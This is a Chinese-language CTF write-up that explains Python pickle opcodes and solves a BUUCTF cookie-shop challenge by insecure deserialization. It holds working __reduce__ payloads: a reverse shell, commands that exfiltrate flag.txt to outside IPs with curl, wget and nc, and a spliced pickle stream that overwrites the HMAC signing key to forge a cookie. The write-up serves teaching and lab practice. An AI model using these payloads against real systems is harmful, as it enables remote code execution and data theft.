buuctf前段时间上了一道python 反序列化的题目,花了两天时间研究了一下,发现了两种解法,学习了一波python反序列化的知识,踩了一些坑,来和各位师傅分享一下吧。
界面是ctf常见的购物类web,不过这次的主角变成黄瓜:-D,我们需要的flag黄瓜价值1000元,但我们口袋里只有500块,我们的余额、购物信息存储在cookie中
随便将cookie的值删掉几个字符,刷新一下,结果返回500错误
显然,服务端采用了某种加密方式来对cookie做了加密或签名,起初我以为是padding oracle,直到看到burpsuite里的python序列化数据报警:
那么将cookie的值用下列代码反序列化显示出来:
#coding:utf8 import pickle import base64 result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu')) print(result)
得到结果:
{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}
这是没有购买商品时的信息,如果购买了一个Standard Pickle,cookie经反序列化后信息是这样的:
{'money': 490, 'history': ['Yummy standard pickle'], 'anti_tamper_hmac': '5f6fdeafc711cbcec80c8453067012a9'}
可见其中带上了hmac验证。猜想本题应该与python反序列化有关,先来学习一波python反序列化知识,当然大佬可以跳过。
相较于php的反序列化,python的反序列化更容易利用,危害也更大。在php的反序列化漏洞利用中我们必须挖掘复杂的利用链,但python的序列化和反序列化中却不需要那么麻烦,因为python序列化出来的是pickle流,这是一种栈语言,python能够实现的功能它也能实现,引用一下pickle的简介:
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。
最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
来看一些示例:
先来看看一些简单类型的数据序列化后的样子:
import pickle s = "abcd" print(pickle.dumps(s))
在python2.7.15下运行该脚本的输出如下:
S'abcd'
p0
.
在python3.7.3下运行该脚本的输出如下:
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
是不是很不一样,这是因为python2和python3实现的pickle协议版本不一样,python3实现的版本是第三版,其序列化后的bytes序列第二个字符即\x03就表示它的pickle版本为第三版。各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的字符串可以放在python3里正常反序列化,但python3序列化输出的字符串却不能让python2反序列化,下面代码可以验证这一点:
import pickle
s = b"S'abcd'\np0\n."
print(pickle.loads(s))
用python3运行该代码,可以正常输出abcd
不同pickle版本的操作码及其含义可以在python3的安装目录里搜索pickle.py查看,如下是一部分操作码:
强烈建议对PVM操作码不熟悉的同学打开这个文件边看边学,我就是这么学的。
因为本题使用的是py3,所以下面的讲解主要结合py3进行,详细解释一下上面py3输出的pickle流
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
第一个字符\x80是一个操作码,pickle.py文件中的注释说明它的含义是用来声明pickle版本,后面跟着的\x03就代表了版本3;随后的X表示后面的四个字节代表了一个数字(小端序),即\x04\x00\x00\x00,值为4,表示下面跟着的utf8编码的字符串的长度,即后面跟着的abcd;再往后是q,这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化,最后的.代表结束,这是每个pickle流末尾都会有的操作符。
来看看复杂类型的数据序列化后是什么样的:
a=("item1","item2") b=["item1","item2"] c={"key1":"value1","key2":"value2"} print(pickle.dumps(a)) print(pickle.dumps(b)) print(pickle.dumps(c))
结果:
b'\x80\x03X\x05\x00\x00\x00item1q\x00X\x05\x00\x00\x00item2q\x01\x86q\x02.'
b'\x80\x03]q\x00(X\x05\x00\x00\x00item1q\x01X\x05\x00\x00\x00item2q\x02e.'
b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01X\x06\x00\x00\x00value1q\x02X\x04\x00\x00\x00key2q\x03X\x06\x00\x00\x00value2q\x04u.'
先来看tuple的pickle流,在栈上连续定义了两个字符串最后在结尾加了\x86这个操作码,其含义为"利用栈顶的两个元素(即前面的item1和item2)建立一个元组",后面的q\x02标识该元组在memo的索引,最后是.
结束符。
再看list的pickle流,在版本声明的后面是一个]操作符,意思是在栈上建立一个空list,q\x00是这个列表在memo的索引,后面是一个(
,这是一个很重要的操作符,它用来标记后面某个操作的参数的边界,在这里其实是用来告诉末尾的e
(建立list的操作符),从(
开始到e
操作符前面的内容用来构建list,(
标记前面的内容就不归e操作符管了。最后是.结束符。
最后来看dict的pickle流,在版本声明的后面是一个}
,表示在栈上建立一个空dict,q\x00表明了这个dict在memo区的索引,后面同样是(
标记,后面按照先key后value的属性依次定义数据,并给每个数据定好memo区的索引,最后是u
操作符,类似于上面的e
操作符,它的含义为利用(
标记到u
之间的数据构建dict,最后是.
操作符。
再来一个类吧:
class D: a = 'abcd' def hello(self): return 'hello' d = D() print(pickle.dumps(d))
输出:
b'\x80\x03c__main__\nD\nq\x00)\x81q\x01.'
注意版本声明后面是c
操作符,它用来导入模块中的标识符,模块和标识符之间用\n隔开,那么这里的意思就是导入了main模块中的D类,后面的q\x00代表了D类在memo的索引,随后是)
在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空,后面是\x81操作符,该操作符调用cls.__new__
方法来建立对象,该方法接受前面tuple中的参数,本例中为空,注意对象的pickle流中并没有存储对象的数据及方法,而只是存储了建立对象的过程,这和上面的数据类型不太一样。
上面介绍的都是一些数据类型的pickle流,之前说过pickle流能实现python所有的功能,那么怎么才能让pickle流在反序列化中运行任意代码呢,这里就要介绍类的__reduce__
这个魔术方法,简单来说,这个方法用来表明类的对象应当如何序列化,当其返回tuple类型时就可以实现任意代码执行,例如下面的例子:
import pickle import os class A(object): def __reduce__(self): cmd = "whoami" return (os.system,(cmd,)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a)
在linux上用python3运行该脚本,输出:
b'\x80\x03cposix\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
并执行了whoami命令。
来细看一下这个pickle流,在声明版本后使用c
操作符导入了posix模块中的system函数,posix模块是os模块在linux上的具体实现,随后是q\x00,标识system函数在memo区的索引,X\x06\x00\x00\x00标识后面whoami这个字符串的长度,q\x01标识whoami这个字符串在memo区的索引,\x85建立1个元素的元组,这个元素当然就是前面的whoami这个字符串,q\x02标识了这个元组在memo区的索引,R
操作符标识运行栈顶的函数,就是前面的system,并把包含whoami的元组当做参数传递给它,后面的q\x03标识了运行的结果在memo区的索引?我不确定,但这并不重要,我们执行任意命令的目的已经达到了,最后是.
结束符。
再来一个反弹shell的:
import pickle import os class A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" return (os.system,(a,)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a)
在本地nc监听1234端口,python3运行该脚本,反弹成功:
输出的pickle流:
b'\x80\x03cposix\nsystem\nq\x00X\xe1\x00\x00\x00python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'q\x01\x85q\x02Rq\x03.'
这次除了参数的长度比较长外,pickle流的结构和上一个例子是一样,就不说了。
说到这里顺便一提,涉及到调用操作系统命令的库的话,不同的平台上序列化出来的pickle流是不一样的,例如上一个脚本在windows上运行的话,输出就是:
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
这里导入的就是windows上os库的具体实现nt库,而不是linux上的posix库了,所以建议师傅们根据目标平台选择本地环境构造pickle流,防止出现无法运行系统命令的问题,我就在这点上踩了坑。
上面啰嗦了那么多,只是为了加深大家对pickle流的理解,其实在实际利用过程中,大部分情况下不需要我们手动构造pickle流,我们只需要掌握一些基本的技巧即可,来看题目吧。
对于本地,反弹shell是最简单粗暴的方法,不需要考虑细节,只需要将上面的payload改一改接收shell的地址,把输出的pickle流编码为base64,放入cookie发送即可,然而我并没有成功。。。我猜测可能是bash权限做了限制。后来和几位师傅交流了一下,抄了一下几位师傅的exp,成功了,向大家介绍一下:
P3rh4ps师傅的:
import pickle import base64 class A(object): def __reduce__(self): return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",)) a = A() print(base64.b64encode(pickle.dumps(a)))
直接上传了flag.txt
ch4ser师傅的:
import os class test(object): def __reduce__(self): return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))
这里用到了buuctf的xss平台。
ice-cream师傅的:
import pickle import base64 import os class A(object): def __reduce__(self): return (os.system,('nc 174.0.166.111 2333 < flag.txt',)) a = A() print(base64.b64encode(pickle.dumps(a)))
使用nc。
这里提醒一下不熟悉buuctf平台的师傅,buu的靶机不能反弹到外网,但是在https://buuoj.cn/challenges#Linux%20Labs
提供了可接受反弹的内网靶机,可以注册一个小号去开一个靶机接受信息。
总结一下几位师傅的exp都用到了系统命令执行以及信息外带,假如目标环境只能在web端口向外界提供信息或限制了系统命令执行,有没有办法呢,经过一天的研究,我发现是有办法的,下面来介绍解法二。
在介绍解法二之前,先提一个问题,假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下:
import pickle key = b'11111111111111111111111111111111' class A(object): def __reduce__(self): return (exec,("key=b'66666666666666666666666666666666'",)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a) print(key)
输出:
b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'
可见key的值被成功覆盖了!来看本题的源码,情况是类似的,同样也定义了key,
用该key去给cookie做了签名,也存在反序列化数据可控,
@application.route("/buy", methods=["POST"]) def buy(): cookies = request.cookies.get("session") if not cookies: cookies = {"money": 500, "history": []} else: cookies = pickle.loads(base64.b64decode(cookies)) #这里可以利用反序列化覆盖key digest = cookies["anti_tamper_hmac"] del cookies["anti_tamper_hmac"] h = hmac.new(key) h.update(str(cookies).encode()) if not hmac.compare_digest(h.digest().hex(), digest): cookies = {"money": 500, "history": []} assert "id" in request.form cookie_id = int(request.form["id"]) if all_cookies[cookie_id]["price"] <= cookies["money"]: cookies["money"] -= all_cookies[cookie_id]["price"] cookies["history"].append(all_cookies[cookie_id]["text"]) resp = make_response(redirect("/")) h = hmac.new(key) h.update(str(cookies).encode()) cookies["anti_tamper_hmac"] = h.digest().hex() resp.set_cookie("session", base64.b64encode(pickle.dumps(cookies))) return resp
那么如果我们利用反序列化覆盖掉key,那么不就可以任意伪造cookie了吗?题目代码
然而当我在本地搭建此题的环境做测试时,却发现用上面的payload无法覆盖flask中key,想了很多办法几乎要放弃了,起初我以为是flask的实现比较特殊,睡了个午觉起来想想,猛然意识到flask中定义的key是全局变量,而反序列化操作却是在buy函数内部进行的,要使函数内的变量要覆盖全局变量的值,必须加global声明,所以修改上面的payload:
import pickle key = b'11111111111111111111111111111111' class A(object): def __reduce__(self): return (exec,("global key;key=b'66666666666666666666666666666666'",)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a) print(key)
输出的pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
再将输出的pickle流base64编码后发送给本地flask环境,key果然被成功覆盖了(调试的话可以在index或buy路由的反序列化代码后添加print(key)即可在flask服务端打印出key):
那么下一步就是用覆盖的key伪造cookie了,这次不需要用到调用函数,只需要把伪造的cookie序列化出来就可以了,所以用不到__reduce__
了:
import pickle import hmac key=b'66666666666666666666666666666666' cookies = {"money":10000,"history":[]} h = hmac.new(key) h.update(str(cookies).encode()) cookies["anti_tamper_hmac"] = h.digest().hex() result2 = pickle.dumps(cookies) print(result2)
这里把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
然后问题就来了,由于我们覆盖的key只能在本次请求中生效,所以我们伪造的cookie也必须在覆盖key的请求中一起发送过去,覆盖key的payload我们是使用__reduce__
方式生成的,而伪造cookie的操作我们是直接序列化cookie生成的,怎么把这两个操作合并起来呢,这个payload应该怎么写呢,其实很简单,依据上面对pickle流的介绍:最终留在栈顶的值将被作为反序列化对象返回。所以我们只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来即可:
第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
base64编码后,抓下购买flag的包,修改其中的cookie发送:
将返回的cookie反序列化:
import pickle import base64 print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))
输出flag:
或许有师傅会问,如果把定义cookie的语句也放到第一个exp的__reduce__
中行不行?其实是不行的,因为采用__reduce__
方式生成的pickle流在反序列化时返回的是None,而不是本题中我们需要的dict,后面的代码将会出错。
对于本题虽然第二种解法比第一种麻烦了许多,但其优势在于不需要用到OOB,可以适应限制更苛刻的比赛环境,更何况另辟蹊径解决问题不正是hacker的最大乐趣吗?
对于本文,虽然水出来了,还是有一些不太严谨的地方,主要在于没有找到可以调试pickle栈的工具,很多地方只能一点点摸索,有些地方是凭经验凭直觉猜的,如有错误希望各位师傅不要见怪,多多指点我。如果觉得对pickle流的介绍不够形象,可以看看这个
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf,
上面对pickle栈的演示更加形象。